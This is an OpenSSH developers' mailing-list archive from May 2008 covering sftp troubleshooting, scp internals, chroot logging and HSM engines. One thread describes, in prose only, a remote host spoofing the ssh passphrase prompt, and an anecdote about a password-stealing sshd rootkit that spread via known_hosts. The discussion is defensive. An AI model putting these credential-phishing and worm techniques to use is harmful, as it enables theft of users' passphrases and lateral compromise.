openssh-4.7p1. After starting the SSHD, I am able to ssh to my ARM board, from my PC, but SFTP fails. Attached is the log I got from the daemon. Any help is appreciated. Thanks, Kans. -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: sshlog.txt Url: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20080509/6a63ae2a/attachment.txt From djm at mindrot.org Fri May 9 19:55:20 2008 From: djm at mindrot.org (Damien Miller) Date: Fri, 9 May 2008 19:55:20 +1000 (EST) Subject: ssh works, but sftp doesn't In-Reply-To: <005b01c8b1b6$42138980$8200140a@Kanslaptop> References: <005b01c8b1b6$42138980$8200140a@Kanslaptop> Message-ID: On Fri, 9 May 2008, kannappan wrote: > Hello All, > > I have built the OpenSSH provided with the "buildroot" package for ARM > board. OpenSSH version is openssh-4.7p1. > > After starting the SSHD, I am able to ssh to my ARM board, from my PC, > but SFTP fails. > > Attached is the log I got from the daemon. Any help is appreciated. For some reason your sftp-server is exiting immediately. Check that /usr/sbin/sftp-server exists, is executable and doesn't crash when executed. For a better test of sftp-server, you can run it directly from sftp: "sftp -P /usr/sbin/sftp-server blah" -d From kannappan at tesbv.com Fri May 9 22:21:18 2008 From: kannappan at tesbv.com (kannappan) Date: Fri, 9 May 2008 17:51:18 +0530 Subject: ssh works, but sftp doesn't In-Reply-To: Message-ID: <006501c8b1cf$321dcea0$8200140a@Kanslaptop> Hi Damien, It seems that sftp-server is working. I have performed the following: [root at 10 opt]# sftp -P /usr/sbin/sftp-server 10.20.0.183 Attaching to /usr/sbin/sftp-server... sftp> ls Please suggest me some other options. Thanks, Kans. -----Original Message----- From: Damien Miller [mailto:djm at mindrot.org] Sent: Friday, May 09, 2008 3:25 PM To: kannappan Cc: openssh-unix-dev at mindrot.org Subject: Re: ssh works, but sftp doesn't On Fri, 9 May 2008, kannappan wrote: > Hello All, > > I have built the OpenSSH provided with the "buildroot" package for ARM > board. OpenSSH version is openssh-4.7p1. > > After starting the SSHD, I am able to ssh to my ARM board, from my PC, > but SFTP fails. > > Attached is the log I got from the daemon. Any help is appreciated. For some reason your sftp-server is exiting immediately. Check that /usr/sbin/sftp-server exists, is executable and doesn't crash when executed. For a better test of sftp-server, you can run it directly from sftp: "sftp -P /usr/sbin/sftp-server blah" -d From djm at mindrot.org Fri May 9 22:58:01 2008 From: djm at mindrot.org (Damien Miller) Date: Fri, 9 May 2008 22:58:01 +1000 (EST) Subject: ssh works, but sftp doesn't In-Reply-To: <006501c8b1cf$321dcea0$8200140a@Kanslaptop> References: <006501c8b1cf$321dcea0$8200140a@Kanslaptop> Message-ID: On Fri, 9 May 2008, kannappan wrote: > Hi Damien, > > It seems that sftp-server is working. > > I have performed the following: > > [root at 10 opt]# sftp -P /usr/sbin/sftp-server 10.20.0.183 > Attaching to /usr/sbin/sftp-server... > sftp> ls > > Please suggest me some other options. Can it be executed by whichever user you are logging in as? -d From kannappan at tesbv.com Fri May 9 23:15:37 2008 From: kannappan at tesbv.com (kannappan) Date: Fri, 9 May 2008 18:45:37 +0530 Subject: ssh works, but sftp doesn't In-Reply-To: Message-ID: <006d01c8b1d6$c8a2a880$8200140a@Kanslaptop> Hi Damien, Yeap. I am able to execute that command(sftp -P /usr/sbin/sftp-server 10.20.0.183) for any users. Regards, Kans. -----Original Message----- From: Damien Miller [mailto:djm at mindrot.org] Sent: Friday, May 09, 2008 6:28 PM To: kannappan Cc: openssh-unix-dev at mindrot.org Subject: RE: ssh works, but sftp doesn't On Fri, 9 May 2008, kannappan wrote: > Hi Damien, > > It seems that sftp-server is working. > > I have performed the following: > > [root at 10 opt]# sftp -P /usr/sbin/sftp-server 10.20.0.183 > Attaching to /usr/sbin/sftp-server... > sftp> ls > > Please suggest me some other options. Can it be executed by whichever user you are logging in as? -d From djm at mindrot.org Sat May 10 00:13:11 2008 From: djm at mindrot.org (Damien Miller) Date: Sat, 10 May 2008 00:13:11 +1000 (EST) Subject: ssh works, but sftp doesn't In-Reply-To: <006d01c8b1d6$c8a2a880$8200140a@Kanslaptop> References: <006d01c8b1d6$c8a2a880$8200140a@Kanslaptop> Message-ID: On Fri, 9 May 2008, kannappan wrote: > Hi Damien, > > Yeap. I am able to execute that command(sftp -P /usr/sbin/sftp-server > 10.20.0.183) for any users. Sorry, I don't have any idea what is going wrong. Some more things for you to try: 1. Run sftp server directly from a ssh client, what happends? ssh yourhost /usr/sbin/sftp-server 2. Change the SubSystem declaration in the server to point to a different program instead of /usr/sbin/sftp-server and repeat test #1 - does this work? 3. Rebuild OpenSSH from pristine sources (making sure you are using the latest version - 5.0). Does this help? 4. Rebuild sftp-server and insert a sleep() call at the start so you can attach a debugger to it. 5. Try the new sshd_config "internal-sftp" subsystem (in openssh-5.0). -d From dkg-openssh.com at fifthhorseman.net Sat May 10 06:46:03 2008 From: dkg-openssh.com at fifthhorseman.net (Daniel Kahn Gillmor) Date: Fri, 09 May 2008 16:46:03 -0400 Subject: Request for generic engine support In-Reply-To: <3F2300644ACFB04A8E352CCC815DA49D080CDDA1A3@G6W0269.americas.hpqcorp.net> (Richard Alan Mccue's message of "Fri\, 9 May 2008 02\:36\:00 +0000") References: <3F2300644ACFB04A8E352CCC815DA49D080CDDA1A3@G6W0269.americas.hpqcorp.net> Message-ID: <87prrv1a0k.fsf@squeak.fifthhorseman.net> A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20080509/7941dead/attachment-0001.bin From richard.mccue at hp.com Sat May 10 07:25:56 2008 From: richard.mccue at hp.com (Mccue, Richard Alan) Date: Fri, 9 May 2008 21:25:56 +0000 Subject: Request for generic engine support In-Reply-To: <84B574C5-FF95-4478-B08F-DC7774AB1225@jadickinson.co.uk> References: <3F2300644ACFB04A8E352CCC815DA49D080CDDA1A3@G6W0269.americas.hpqcorp.net> <84B574C5-FF95-4478-B08F-DC7774AB1225@jadickinson.co.uk> Message-ID: <3F2300644ACFB04A8E352CCC815DA49D080CDDA834@G6W0269.americas.hpqcorp.net> > Can you tell us what the device is and/or what engine you are trying > to use? The device is very much like an HSM, probably best to think of it as an HSM device. If I had to mention precisely what it is or anything unique about it, I couldn't really call it generic. The engine is also very very generic, requiring nothing special. An external OpenSSL engine that handles key encryption/decryption (HSM, etc), needs just a few common support mechanisms, whether it is implemented in OpenSSH, an LDAP server, Stunnel, whatever. I use the word 'external' here to differentiate from the built-in engines, like 'dynamic' that are included with 0.9.7 and 0.9.8 OpenSSL distributions. An external engine is one independently developed that the loading application and OpenSSL have no information about. Hence information to load the engine must be fetched through configuration keywords. Here's what is basically needed for an application to use an external engine of this type: - Load the engine. The Stunnel source is a good example of this. Another example that I like is the test application that is part of Kent Yoder's TPM engine available from sourceforge.net. I'm sure there are others. - Initialize the engine. ENGINE_init() an OpenSSL function, does this. This leads to the engine substituing its routines for a few of those in the OpenSSL libcrypto library. This is why utilizing the engine becomes transparent to the application for an operation like RSA signing. - Load the file containing the key: ENGINE_load_private_key(3), an OpenSSL function, does this. If the key of interest is embedded in the device and not given as an external file, this step is not necessary. > It sounds like an HSM - if it is then it almost certainly supports > pkcs11. Using a pkcs11 enabled version of OpenSSH will most likely be > easier than trying to support every different OpenSSL engine that a > user might decide to use. I'll look into pkcs11, it could be useful in some applications. At the moment, I don't see it as entirely a replacement though. Thanks for the suggestion! - Rich From petesea at bigfoot.com Sat May 10 13:45:51 2008 From: petesea at bigfoot.com (petesea at bigfoot.com) Date: Fri, 09 May 2008 20:45:51 -0700 (PDT) Subject: scp local/remote external calls Message-ID: I'm a bit confused how scp works... could someone please explain the local/remote external calls that happen when scp is started... in particular how it relates to ssh on the remote site? To be more specific... I use Kerberos for authentication and I've been working on an ssh wrapper script that checks my Kerberos credentials before running the ssh command. If the credentials are missing or expired it gives a more appropriate message... something a bit more obvious then the standard "Permission denied" message from ssh. So... lets say this ssh wrapper is called "ssh" and it's in my $HOME/bin dir (which is first on my PATH). I have (for the sake of this discussion) 2 boxes... box1 and box2. The ssh wrapper script exists ONLY on box2. If I do an scp FROM box1 (which does NOT have this wrapper script) to box2 AND my credentials have expired on box2, scp will fail with a message that my credentials have expired (which comes from my wrapper script)... which obviously means somehow my ssh wrapper on box2 was run. This leads me to the conclusion that running scp on box1 to box2 somehow starts the ssh client on box2. Is that correct? Is so, could someone please outline exactly what happens both local and remote when scp is run. Thanks. From dtucker at zip.com.au Sat May 10 15:04:46 2008 From: dtucker at zip.com.au (Darren Tucker) Date: Sat, 10 May 2008 15:04:46 +1000 Subject: scp local/remote external calls In-Reply-To: References: Message-ID: <48252CEE.6060006@zip.com.au> petesea at bigfoot.com wrote: > I'm a bit confused how scp works... could someone please explain the > local/remote external calls that happen when scp is started... in > particular how it relates to ssh on the remote site? > > To be more specific... > > I use Kerberos for authentication and I've been working on an ssh wrapper > script that checks my Kerberos credentials before running the ssh command. > If the credentials are missing or expired it gives a more appropriate > message... something a bit more obvious then the standard "Permission > denied" message from ssh. > > So... lets say this ssh wrapper is called "ssh" and it's in my $HOME/bin > dir (which is first on my PATH). > > I have (for the sake of this discussion) 2 boxes... box1 and box2. The > ssh wrapper script exists ONLY on box2. > > If I do an scp FROM box1 (which does NOT have this wrapper script) to box2 > AND my credentials have expired on box2, scp will fail with a message that > my credentials have expired (which comes from my wrapper script)... which > obviously means somehow my ssh wrapper on box2 was run. This leads me to > the conclusion that running scp on box1 to box2 somehow starts the ssh > client on box2. > > Is that correct? Is so, could someone please outline exactly what happens > both local and remote when scp is run. Basically, there's 3 cases. From your example above: 1) box1$ scp /foo /bar This is a local-to-local copy. scp just invokes cp to do the copy, and no ssh connection is involved. 2) box1$ scp /foo box2:/bar This is a local-to-remote copy. scp on box 1 invokes "ssh box2 scp -t /bar". You end up with the following processes involved: scp(box1) -> ssh(box1) -tcp-> sshd(box2) -> scp(box2). The same applies is true for remote-to-local copies, the only difference being the arguments given to the remote scp. 3) box1$ scp box2:/foo box3:/bar This is a remote-to-remote copy. scp on box1 runs the equivalent of "ssh box2 scp /foo box3:/bar. You end up with scp(box1) -> ssh(box1) -tcp-> sshd(box2) -> scp(box2) -> ssh(box2) -tcp-> sshd(box3) -> scp(box3). (The "->" denotes a local pipe or socketpair, depending on your platform.) So in your example, if you run: box1$ scp box2:/foo box1:/bar then ssh is being invoked on box2 because it's case #3 above. What exact command are you using? If you add "-v" to the scp command line then you can see what it runs under the covers. -- Darren Tucker (dtucker at zip.com.au) GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4 37C9 C982 80C7 8FF4 FA69 Good judgement comes with experience. Unfortunately, the experience usually comes from bad judgement. From kannappan at tesbv.com Sat May 10 17:17:33 2008 From: kannappan at tesbv.com (kannappan) Date: Sat, 10 May 2008 12:47:33 +0530 Subject: ssh works, but sftp doesn't In-Reply-To: Message-ID: <001601c8b26d$eda4a970$8200140a@Kanslaptop> Hello Damien, It worked with the openssh-5.0p1, with "internal-sftp" in sshd_config. Thanks for the support. Kans. -----Original Message----- From: Damien Miller [mailto:djm at mindrot.org] Sent: Friday, May 09, 2008 7:43 PM To: kannappan Cc: openssh-unix-dev at mindrot.org Subject: RE: ssh works, but sftp doesn't On Fri, 9 May 2008, kannappan wrote: > Hi Damien, > > Yeap. I am able to execute that command(sftp -P /usr/sbin/sftp-server > 10.20.0.183) for any users. Sorry, I don't have any idea what is going wrong. Some more things for you to try: 1. Run sftp server directly from a ssh client, what happends? ssh yourhost /usr/sbin/sftp-server 2. Change the SubSystem declaration in the server to point to a different program instead of /usr/sbin/sftp-server and repeat test #1 - does this work? 3. Rebuild OpenSSH from pristine sources (making sure you are using the latest version - 5.0). Does this help? 4. Rebuild sftp-server and insert a sleep() call at the start so you can attach a debugger to it. 5. Try the new sshd_config "internal-sftp" subsystem (in openssh-5.0). -d From lists.john at gmail.com Tue May 13 06:56:49 2008 From: lists.john at gmail.com (john) Date: Mon, 12 May 2008 13:56:49 -0700 Subject: openssh-5.0p1: sftp transfer logging doesn't appear to work with chroot environment [SOLVED] Message-ID: <2be970b50805121356v13388924pd3aff6a90aafd745@mail.gmail.com> On Sun, May 4, 2008 at 12:00 PM, Dan Yefimov wrote: > On Sun, 4 May 2008, john wrote: > > > > What exact steps have you taken to accomplish what Damien proposed? > > > > > Yes sorry Dan, I should have been specific. > > > > I created a file in my chroot root called /home/dev/auth.log > > > > Then I edited syslogd to write auth log to that location and restarted syslogd. > > > It was wrong yet from this point. You should have created directory named 'dev' > located right in your chroot directory. No syslogd.conf editing was necessary. > After that you should have reloaded your syslogd with additional > '-a /dev/log' parameter. And that's all! > -- > > Sincerely Your, Dan. > > Sorry for the delayed response, Dan and Peters pointer to using the syslogd -a option worked well. This is solution is fine for us, if a bit arcane. Since I can imagine this being a frequent request/complaint/misunderstanding about the way chrooting works with sftp it might save people a lot of time in the future if the man page gave a little note and example of how to log from within an sftp chroot. Thanks very much for your help. I really appreciate it! John From stuge-openssh-unix-dev at cdy.org Tue May 13 10:49:18 2008 From: stuge-openssh-unix-dev at cdy.org (Peter Stuge) Date: Tue, 13 May 2008 02:49:18 +0200 Subject: openssh-5.0p1: sftp transfer logging doesn't appear to work with chroot environment [SOLVED] In-Reply-To: <2be970b50805121356v13388924pd3aff6a90aafd745@mail.gmail.com> References: <2be970b50805121356v13388924pd3aff6a90aafd745@mail.gmail.com> Message-ID: <20080513004918.12232.qmail@cdy.org> On Mon, May 12, 2008 at 01:56:49PM -0700, john wrote: > Sorry for the delayed response, No problem. > Dan and Peters pointer to using the syslogd -a option worked well. Glad to hear it worked out! > Since I can imagine this being a frequent > request/complaint/misunderstanding about the way chrooting works > with sftp it might save people a lot of time in the future if the > man page gave a little note and example of how to log from within > an sftp chroot. I think that's a good idea! Can you send a patch for the manpage text? //Peter From roman.fiedler at telbiomed.at Tue May 13 19:01:25 2008 From: roman.fiedler at telbiomed.at (Roman Fiedler) Date: Tue, 13 May 2008 11:01:25 +0200 Subject: Trick user to send private key password to compromised host Message-ID: <482958E5.9000603@telbiomed.at> Hi list, I do not known, if this is really an issue but i noticed that when connecting to a remote ssh host with the standard linux openssh client using a private key, that there is no line of text indicating when the local key-passwd process was completed and the connection session was established. On a compromised host, the login shell could write the line 'Enter passphrase for key 'guess the filename using the current account name':'. If unnoticed, the user will think, that he misstyped the passphrase and repeat it. After capturing the word, the login could continue with the standard procedure (e.g. motd banner). lg roman From kuenne at rentec.com Wed May 14 00:58:18 2008 From: kuenne at rentec.com (Karsten =?iso-8859-1?q?K=FCnne?=) Date: Tue, 13 May 2008 10:58:18 -0400 Subject: Trick user to send private key password to compromised host In-Reply-To: <482958E5.9000603@telbiomed.at> References: <482958E5.9000603@telbiomed.at> Message-ID: <200805131058.18936.kuenne@rentec.com> On Tuesday 13 May 2008 05:01:25 Roman Fiedler imposed structure on a stream of electrons, yielding: > Hi list, > > I do not known, if this is really an issue but i noticed that when > connecting to a remote ssh host with the standard linux openssh client > using a private key, that there is no line of text indicating when the > local key-passwd process was completed and the connection session was > established. > > On a compromised host, the login shell could write the line 'Enter > passphrase for key 'guess the filename using the current account > name':'. If unnoticed, the user will think, that he misstyped the > passphrase and repeat it. After capturing the word, the login could > continue with the standard procedure (e.g. motd banner). > What does that have to do with openssh? On a compromised host the attacker can do all kind of neat tricks and doesn't have to rely on openssh. For instance, a keylogger would be able to catch even more stuff and is probably easier to set up. Karsten. -- A baby is God's opinion that the world should go on. -- Carl Sandburg From roman.fiedler at telbiomed.at Wed May 14 01:57:38 2008 From: roman.fiedler at telbiomed.at (Roman Fiedler) Date: Tue, 13 May 2008 17:57:38 +0200 Subject: Trick user to send private key password to compromised host In-Reply-To: <200805131058.18936.kuenne@rentec.com> References: <482958E5.9000603@telbiomed.at> <200805131058.18936.kuenne@rentec.com> Message-ID: <4829BA72.3070900@telbiomed.at> Karsten K?nne wrote: > On Tuesday 13 May 2008 05:01:25 Roman Fiedler imposed structure on a > stream of electrons, yielding: >> Hi list, >> >> I do not known, if this is really an issue but i noticed that when >> connecting to a remote ssh host with the standard linux openssh client >> using a private key, that there is no line of text indicating when the >> local key-passwd process was completed and the connection session was >> established. >> >> On a compromised host, the login shell could write the line 'Enter >> passphrase for key 'guess the filename using the current account >> name':'. If unnoticed, the user will think, that he misstyped the >> passphrase and repeat it. After capturing the word, the login could >> continue with the standard procedure (e.g. motd banner). >> > > What does that have to do with openssh? On a compromised host the attacker can > do all kind of neat tricks and doesn't have to rely on openssh. For instance, > a keylogger would be able to catch even more stuff and is probably easier to > set up. > Karsten. Sorry, seems that my first statement was not precise. If I connect from my uncompromised local host A to some malicious host B, it could trick me to reenter the private key password so that it is captured on B. This would not be possible by installing an kestroke logger on B, only openssh "acts" as the "keystroke logger" in this case. Of course, for a compromised A, openssh would not have to be blamed. Roman From dan at nf15.lightwave.net.ru Wed May 14 02:06:13 2008 From: dan at nf15.lightwave.net.ru (Dan Yefimov) Date: Tue, 13 May 2008 20:06:13 +0400 (MSD) Subject: Trick user to send private key password to compromised host In-Reply-To: <4829BA72.3070900@telbiomed.at> Message-ID: On Tue, 13 May 2008, Roman Fiedler wrote: > Sorry, seems that my first statement was not precise. If I connect from > my uncompromised local host A to some malicious host B, it could trick > me to reenter the private key password so that it is captured on B. This > would not be possible by installing an kestroke logger on B, only > openssh "acts" as the "keystroke logger" in this case. > What the attacker can gain from discovering private key encryption password? The private key itself is located on the host the ssh is invoked on, not on the remote and probably compromised one. -- Sincerely Your, Dan. From roman.fiedler at telbiomed.at Wed May 14 02:14:52 2008 From: roman.fiedler at telbiomed.at (Roman Fiedler) Date: Tue, 13 May 2008 18:14:52 +0200 Subject: Trick user to send private key password to compromised host In-Reply-To: References: Message-ID: <4829BE7C.5030101@telbiomed.at> Dan Yefimov wrote: > On Tue, 13 May 2008, Roman Fiedler wrote: > >> Sorry, seems that my first statement was not precise. If I connect from >> my uncompromised local host A to some malicious host B, it could trick >> me to reenter the private key password so that it is captured on B. This >> would not be possible by installing an kestroke logger on B, only >> openssh "acts" as the "keystroke logger" in this case. >> > What the attacker can gain from discovering private key encryption password? > The private key itself is located on the host the ssh is invoked on, not on the > remote and probably compromised one. This is correct, but a) the attacker could have captured the key before by other means, but it was not yet useful (e.g. from some backup that became accessible, from some network dump when the key was stored via nfs/cifs once) b) the password could have been used also for other resources I know that this is no major problem, so I asked in my first message, if openssh developers should even care about such thing. Roman From dan at nf15.lightwave.net.ru Wed May 14 02:33:25 2008 From: dan at nf15.lightwave.net.ru (Dan Yefimov) Date: Tue, 13 May 2008 20:33:25 +0400 (MSD) Subject: Trick user to send private key password to compromised host In-Reply-To: <4829BE7C.5030101@telbiomed.at> Message-ID: On Tue, 13 May 2008, Roman Fiedler wrote: > > What the attacker can gain from discovering private key encryption password? > > The private key itself is located on the host the ssh is invoked on, not on the > > remote and probably compromised one. > > This is correct, but > > a) the attacker could have captured the key before by other means, but > it was not yet useful (e.g. from some backup that became accessible, > from some network dump when the key was stored via nfs/cifs once) > The private key is NEVER transmitted via the network by SSH. That is why the public key authentication is by default secure. > b) the password could have been used also for other resources > This problem along with backups or NFS/CIFS traffic dumps being available to the attacker has nothing to do with OpenSSH at all. Those are political and too generic issues. If you care so much about security, keep your backups in a secure place and never use NFS-backed homes over insecure networks. As for CIFS, AFAIK it can use SSL. -- Sincerely Your, Dan. From david.a.desrosiers at gmail.com Wed May 14 02:09:40 2008 From: david.a.desrosiers at gmail.com (David A. Desrosiers) Date: Tue, 13 May 2008 12:09:40 -0400 Subject: Trick user to send private key password to compromised host In-Reply-To: <4829BA72.3070900@telbiomed.at> References: <482958E5.9000603@telbiomed.at> <200805131058.18936.kuenne@rentec.com> <4829BA72.3070900@telbiomed.at> Message-ID: On Tue, May 13, 2008 at 11:57 AM, Roman Fiedler wrote: > Sorry, seems that my first statement was not precise. If I connect from > my uncompromised local host A to some malicious host B, it could trick > me to reenter the private key password so that it is captured on B. This > would not be possible by installing an kestroke logger on B, only > openssh "acts" as the "keystroke logger" in this case. A few years ago, a colleague of mine had a server that we were all given accounts on. Many of us logged in and changed the default password right away. Some other people who were given accounts never logged in at all, and these accounts remained with the default password (a plain-english password, no numbers, no punctuation). At some point, one account on the machine was brute-forced on that server, and the culprit got in using the plain-english password for the username they guessed. Once they were in, they downloaded a rootkit from Romania, compiled it into /tmp/ and rooted the machine. They compromised the box REPLACING the default sshd with one that captured the user's password on the first entry, and passed the user through on the second attempt. For every captured password, they sent that information back to a different server in Romania, presumably to add to their big master list of usernames and passwords to try against other machines. The part that made this particular hack very slick, was the process that captured the user's password, also looked at that user's ~/.ssh/known_hosts file, and then attempted to use THAT username+password against all of the hosts listed there. It also scanned $HOME and replicated its attack against all hosts listed in each user's known_hosts file, spreading the "infection". It was pretty nasty, and as I recall, not easy to detect at first, other than some of us who were used to logging in with keys were suddenly being prompted for our passwords. From Jefferson.Ogata at noaa.gov Wed May 14 02:56:49 2008 From: Jefferson.Ogata at noaa.gov (Jefferson Ogata) Date: Tue, 13 May 2008 16:56:49 +0000 Subject: Trick user to send private key password to compromised host In-Reply-To: References: Message-ID: <4829C851.1000205@noaa.gov> On 2008-05-13 16:33, Dan Yefimov wrote: > On Tue, 13 May 2008, Roman Fiedler wrote: >>> What the attacker can gain from discovering private key encryption password? >>> The private key itself is located on the host the ssh is invoked on, not on the >>> remote and probably compromised one. >> This is correct, but >> >> a) the attacker could have captured the key before by other means, but >> it was not yet useful (e.g. from some backup that became accessible, >> from some network dump when the key was stored via nfs/cifs once) >> > The private key is NEVER transmitted via the network by SSH. That is why the > public key authentication is by default secure. > >> b) the password could have been used also for other resources >> > This problem along with backups or NFS/CIFS traffic dumps being available to > the attacker has nothing to do with OpenSSH at all. Those are political and too > generic issues. If you care so much about security, keep your backups in a > secure place and never use NFS-backed homes over insecure networks. As for > CIFS, AFAIK it can use SSL. Of course this is an issue for openssh; matters such as network home directories and backup policies are not under openssh's control, but openssh's private key handling IS under openssh's control. Do you even understand the purpose of the private key passphrase? It appears not... Openssh can and should write something indicating the the private key was successfully decrypted before continuing authentication, let alone requesting a shell. Arguably it should similarly print something if the private key was successfully retrieved from ssh-agent. This feature could be under control of a directive, of course. -- Jefferson Ogata NOAA Computer Incident Response Team (N-CIRT) "Never try to retrieve anything from a bear."--National Park Service From petesea at bigfoot.com Wed May 14 04:35:27 2008 From: petesea at bigfoot.com (petesea at bigfoot.com) Date: Tue, 13 May 2008 11:35:27 -0700 (PDT) Subject: scp local/remote external calls In-Reply-To: <48252CEE.6060006@zip.com.au> References: <48252CEE.6060006@zip.com.au> Message-ID: On Sat, 10 May 2008, Darren Tucker wrote: > On Fri, 9 May 2008, petesea at bigfoot.com wrote: > >> could someone please outline exactly what happens both local and remote >> when scp is run. > > Basically, there's 3 cases. From your example above: > > 1) box1$ scp /foo /bar > local-to-local > cp(box1) > 2) box1$ scp /foo box2:/bar > local-to-remote/remote-to-local > scp(box1) -> ssh(box1) -tcp-> sshd(box2) -> scp(box2). > 3) box1$ scp box2:/foo box3:/bar > remote-to-remote > scp(box1) -> ssh(box1) -tcp-> sshd(box2) -> scp(box2) -> ssh(box2) -tcp-> sshd(box3) -> scp(box3) > > What exact command are you using? If you add "-v" to the scp command > line then you can see what it runs under the covers. What exact command > are you using? I'm doing either: box1$ scp /foo box2:/bar box1$ scp box2:/foo /bar So it looks to me, if I run: box1$ scp /foo box2:/bar The following is run ON box2: scp -t /bar And if I run: box1$ scp box2:/foo /bar The following is run ON box2: scp -f /foo Correct? Can I assume anytime I see 'scp -t' or 'scp -f', it means scp was invoked indirectly.. via sshd? In other words, is there any reason a user would directly run 'scp -t' or 'scp -f'? The '-t' and '-f' flags seem to be internal flags, which leads me to believe it's not likely someone would intentionally use them from the command line. So... I should be able to look for these flags in my wrapper script (which is also an scp wrapper) and take appropriate action. In my case that means don't worry about checking to see if the Kerberos credentials cache is valid. PS. As a side-note, you previously noted scp handles case #1 (local-to-local copy) simply by invoking 'cp'. What about any of the following: box1$ scp foo box1:/bar box1$ scp box1:/foo /bar box1$ scp box1:/foo box1:/bar Couldn't scp figure out fairly easily that box1 IS the local box and therefore all of the above are actually local-to-local? Or even: box1$ scp box2:/foo box2:/bar but I assume that would really be the same as the 1st case above after an ssh to box2, ie: box1$ ssh box2 'scp /foo box2:/bar' I'm really just curious. I have no particular need for this behavior, but then I don't believe I've ever needed to do "scp /foo /bar" either, so I thought perhaps it would be useful to others. From dan at nf15.lightwave.net.ru Wed May 14 08:19:51 2008 From: dan at nf15.lightwave.net.ru (Dan Yefimov) Date: Wed, 14 May 2008 02:19:51 +0400 (MSD) Subject: Trick user to send private key password to compromised host In-Reply-To: <4829C851.1000205@noaa.gov> Message-ID: On Tue, 13 May 2008, Jefferson Ogata wrote: > > This problem along with backups or NFS/CIFS traffic dumps being available to > > the attacker has nothing to do with OpenSSH at all. Those are political and too > > generic issues. If you care so much about security, keep your backups in a > > secure place and never use NFS-backed homes over insecure networks. As for > > CIFS, AFAIK it can use SSL. > > Of course this is an issue for openssh; matters such as network home > directories and backup policies are not under openssh's control, but > openssh's private key handling IS under openssh's control. Do you even > understand the purpose of the private key passphrase? It appears not... > Strange assertion. Of course, I understand the purpose of the private key password. > Openssh can and should write something indicating the the private key > was successfully decrypted before continuing authentication, let alone > requesting a shell. Arguably it should similarly print something if the > private key was successfully retrieved from ssh-agent. And it can do that when run with -vv command line argument, if desired. > This feature could be under control of a directive, of course. > Or under command line argument's control, like it is done currently. -- Sincerely Your, Dan. From Jefferson.Ogata at noaa.gov Wed May 14 10:01:39 2008 From: Jefferson.Ogata at noaa.gov (Jefferson Ogata) Date: Wed, 14 May 2008 00:01:39 +0000 Subject: Trick user to send private key password to compromised host In-Reply-To: References: Message-ID: <482A2BE3.1060203@noaa.gov> On 2008-05-13 22:19, Dan Yefimov wrote: > On Tue, 13 May 2008, Jefferson Ogata wrote: >>> This problem along with backups or NFS/CIFS traffic dumps being available to >>> the attacker has nothing to do with OpenSSH at all. Those are political and too >>> generic issues. If you care so much about security, keep your backups in a >>> secure place and never use NFS-backed homes over insecure networks. As for >>> CIFS, AFAIK it can use SSL. >> Of course this is an issue for openssh; matters such as network home >> directories and backup policies are not under openssh's control, but >> openssh's private key handling IS under openssh's control. Do you even >> understand the purpose of the private key passphrase? It appears not... >> > Strange assertion. Of course, I understand the purpose of the private key > password. That's not evident given your irrelevant comment that "the private key is NEVER transmitted via the network by SSH". The passphrase exists *in case* the private key file is compromised nevertheless. All this talk about network home directories and other nonsense is a red herring; one has to protect the passphrase with as much zeal as the private key file if the private key is to remain secure. If the original poster had described a way the private key file could be recovered by the remote host, but not the passphrase, would you be as dismissive about it? Is it not clear to you that it's important to protect both? >> Openssh can and should write something indicating the the private key >> was successfully decrypted before continuing authentication, let alone >> requesting a shell. Arguably it should similarly print something if the >> private key was successfully retrieved from ssh-agent. > > And it can do that when run with -vv command line argument, if desired. That's obviously not workable, unless you want a ton of debugging information. >> This feature could be under control of a directive, of course. >> > Or under command line argument's control, like it is done currently. Done how, other than by using -vv? -- Jefferson Ogata NOAA Computer Incident Response Team (N-CIRT) "Never try to retrieve anything from a bear."--National Park Service From dan at nf15.lightwave.net.ru Wed May 14 15:26:24 2008 From: dan at nf15.lightwave.net.ru (Dan Yefimov) Date: Wed, 14 May 2008 09:26:24 +0400 (MSD) Subject: Trick user to send private key password to compromised host In-Reply-To: <482A2BE3.1060203@noaa.gov> Message-ID: On Wed, 14 May 2008, Jefferson Ogata wrote: > > Strange assertion. Of course, I understand the purpose of the private key > > password. > > That's not evident given your irrelevant comment that "the private key > is NEVER transmitted via the network by SSH". The passphrase exists *in > case* the private key file is compromised nevertheless. All this talk > about network home directories and other nonsense is a red herring; one > has to protect the passphrase with as much zeal as the private key file > if the private key is to remain secure. > > If the original poster had described a way the private key file could be > recovered by the remote host, but not the passphrase, would you be as > dismissive about it? Is it not clear to you that it's important to > protect both? > There's nothing to debate here. You're talking about obvious matters. > >> Openssh can and should write something indicating the the private key > >> was successfully decrypted before continuing authentication, let alone > >> requesting a shell. Arguably it should similarly print something if the > >> private key was successfully retrieved from ssh-agent. > > > > And it can do that when run with -vv command line argument, if desired. > > That's obviously not workable, unless you want a ton of debugging > information. > But that information is needed only in case of doubt. One don't obviously want it all the time. But if someone wants, he can edit sshconnect{1,2}.c replacing corresponding debug2() calls with calls to verbose() or logit() within functions try_rsa_authentication() and load_identity_file(). -- Sincerely Your, Dan. From njleanne at hotmail.com Thu May 15 12:15:26 2008 From: njleanne at hotmail.com (leanne) Date: Thu, 15 May 2008 02:15:26 +0000 Subject: "ServerAliveInterval" and "ServerAliveCountMax" doesnt work in openssh50? Message-ID: Hi OpenSSH team, We found that openssh5.0 has a bug with the "ServerAliveInterval" and "ServerAliveCountMax" options. This function doesnt work at all, which means when the Maxtime reached, the ssh will not kill the connection and prompt the infomation "Connection Timedout" as it used to do. We built the openssh5.0p1 code on the a Linux box, and use the following configruation, and reproduced on it. Following is the experiment i did on my Ubuntu Linux box. In Terminal 1: root at sway-desktop:~# uname -aLinux sway-desktop 2.6.22-14-generic #1 SMP Sun Oct 14 23:05:12 GMT 2007 i686 GNU/Linux root at sway-desktop:~# cat /ssh_config Protocol 2 HashKnownHosts yes ServerAliveInterval 5 ServerAliveCountMax 1 #This tells the ssh to close the connection after 5*1 = 5 seconds if no data has been received from the server. root at sway-desktop:~# ps -ef|grep sshdroot 5415 1 0 14:21 ? 00:00:00 /home/sway/openssh-5.0p1/sshd -p 5555 root at sway-desktop:~# cd /home/sway/openssh-5.0p1root at sway-desktop:/home/sway/openssh-5.0p1# /ssh -F /ssh_config 192.168.37.131 -p 5555root at 192.168.37.131's password:Last login: Sun May 4 14:22:20 2008 from qianbo-desktop.localroot at sway-desktop: In termial 2: root 